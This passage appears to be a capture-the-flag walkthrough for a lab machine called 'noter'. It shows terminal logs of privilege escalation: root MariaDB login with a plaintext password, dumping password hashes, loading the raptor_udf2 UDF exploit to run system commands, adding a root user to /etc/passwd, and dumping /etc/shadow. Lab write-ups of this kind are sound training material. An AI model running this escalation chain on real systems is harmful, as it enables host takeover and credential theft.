77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
svc@noter:~$ mysql -V
mysql Ver 15.1 Distrib 10.3.32-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
svc@noter:~$ mysql
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2483
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| test |
+--------------------+
2 rows in set (0.002 sec)
MariaDB [(none)]> use test;
Database changed
MariaDB [test]> show tables
-> ;
Empty set (0.000 sec)
MariaDB [test]> exit
Bye
svc@noter:~$ mysql --user="DB_user" --password="DB_password" -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2519
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| app |
| information_schema |
| test |
+--------------------+
3 rows in set (0.000 sec)
MariaDB [(none)]> use app;
Database changed
MariaDB [app]> show tables;
+---------------+
| Tables_in_app |
+---------------+
| notes |
| users |
+---------------+
2 rows in set (0.001 sec)
svc@noter:~$ mysql --user="root" --password="Nildogg36" -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2547
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| app |
| information_schema |
| mysql |
| performance_schema |
| test |
+--------------------+
5 rows in set (0.000 sec)
MariaDB [mysql]> select User,Password from user;
+---------+-------------------------------------------+
| User | Password |
+---------+-------------------------------------------+
| root | *937440AD99CBB4A102402708AA43B689818489C8 |
| root | |
| root | |
| root | |
| | |
| | |
| DB_user | *52107B0F316DEF5A57F59273C66227AEA58A2671 |
+---------+-------------------------------------------+
7 rows in set (0.000 sec)
Enumerated /opt
1
2
3
4
5
6
7
8
9
10
11
12
svc@noter:~$ ls -al /opt
total 12
drwxr-xr-x 2 root root 4096 May 2 23:05 .
drwxr-xr-x 19 root root 4096 May 2 23:05 ..
-rwxr--r-- 1 root root 137 Dec 30 09:41 backup.sh
svc@noter:/opt$ cat backup.sh
#!/bin/bash
zip -r `echo /home/svc/ftp/admin/app_backup_$(date +%s).zip` /home/svc/app/web/* -x /home/svc/app/web/misc/node_modules/**\*
svc@noter:/opt$ ls -al /usr/bin/zip
-rwxr-xr-x 1 root root 216256 Apr 21 2017 /usr/bin/zip
Enumerated PATH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
svc@noter:/opt$ echo $PATH
/home/svc/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
svc@noter:/opt$ ls -ald /home/svc/.local/bin/
drwxrwxr-x 2 svc svc 4096 May 2 23:05 /home/svc/.local/bin/
svc@noter:/opt$ ls -ald /usr/local/sbin
drwxr-xr-x 2 root root 4096 Aug 24 2021 /usr/local/sbin
svc@noter:/opt$ ls -ald /usr/local/bin
drwxr-xr-x 2 root root 4096 May 2 15:02 /usr/local/bin
svc@noter:/opt$ ls -ald /sbin
lrwxrwxrwx 1 root root 8 Aug 24 2021 /sbin -> usr/sbin
svc@noter:/opt$ ls -ald /bin
lrwxrwxrwx 1 root root 7 Aug 24 2021 /bin -> usr/bin
svc@noter:/opt$ ls -ald /usr/sbin
drwxr-xr-x 2 root root 20480 May 2 19:24 /usr/sbin
svc@noter:/opt$ ls -ald /usr/bin
drwxr-xr-x 2 root root 36864 May 2 22:49 /usr/bin
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
svc@noter:/dev/shm/exploit$ nano raptor_udf2.c
svc@noter:/dev/shm/exploit$ gcc -g -c raptor_udf2.c
svc@noter:/dev/shm/exploit$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
svc@noter:/dev/shm/exploit$ mysql --user="root" --password="Nildogg36" -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 3445
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mysql;
Database changed
MariaDB [mysql]> create table foo(line blob);
Query OK, 0 rows affected (0.005 sec)
MariaDB [mysql]> insert into foo values(load_file('/dev/shm/exploit/raptor_udf2.so'));
Query OK, 1 row affected (0.002 sec)
MariaDB [mysql]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)
MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.000 sec)
MariaDB [mysql]> select do_system('echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >> /etc/passwd');
+---------------------------------------------------------------------------------+
| do_system('echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >> /etc/passwd') |
+---------------------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------------------+
1 row in set (0.002 sec)
MariaDB [mysql]> \!sh
ERROR: Usage: \! shell-command
MariaDB [mysql]> \! sh
$ su root2
Password:
root@noter:/dev/shm/exploit## hostname; id; cat /root/root.txt; ip a
noter
uid=0(root) gid=0(root) groups=0(root)
f6cf8b4b2c9af103636f9685571917aa
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:49:2b brd ff:ff:ff:ff:ff:ff
inet 10.10.11.160/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:492b/64 scope global dynamic mngtmpaddr
valid_lft 86399sec preferred_lft 14399sec
inet6 fe80::250:56ff:feb9:492b/64 scope link
valid_lft forever preferred_lft forever
Trophy
User.txt
c20d842d8d4ce26f46f247128817290d
Root.txt
f6cf8b4b2c9af103636f9685571917aa
/etc/shadow
1
2
3
4
5
root@noter:/dev/shm/exploit## cat /etc/shadow | grep '\$'
root:$6$09RSjU3jIh/2JW1u$8jlcYzW5Oyzgh/TrlTPX5Wq2HMTA6zUooij/9j0.NIttTYp4x0h6wmq8chrcdtvNpZzHlHzwsI8GesOKI3NYn.:18991:0:99999:7:::
svc:$6$gTM.AIsgDue4r5AQ$wUBfUtg7/svAcRTnsFv51KuMpeNP0cL6vqIR3608pzd0YsNNe0oxMwvY7iAGMCgMp7viiBLUwUaAZx4r6ljME/:18988:0:99999:7:::
ftp_admin:$6$gQyFQc6w7p83bBwZ$6zYRlPKPBp6GMgUI5mbojxOvyup7hqrQ5hfscnLkwvIimC6qO5a0taiju1vYQPSnzf.mO5TgCdo.5RiO9Gu7J0:19114:0:99999:7:::
blue:$6$pNud9u/1PdD8qPYi$cSe5FPCRGH5xjUiEMJ5tXSclSrWSz7gimtR2IcXiiVk0xNfSACcVgU3C4z69RnZHEQKrNO/hIiUQdVTqlxb29.:19114:0:99999:7:::














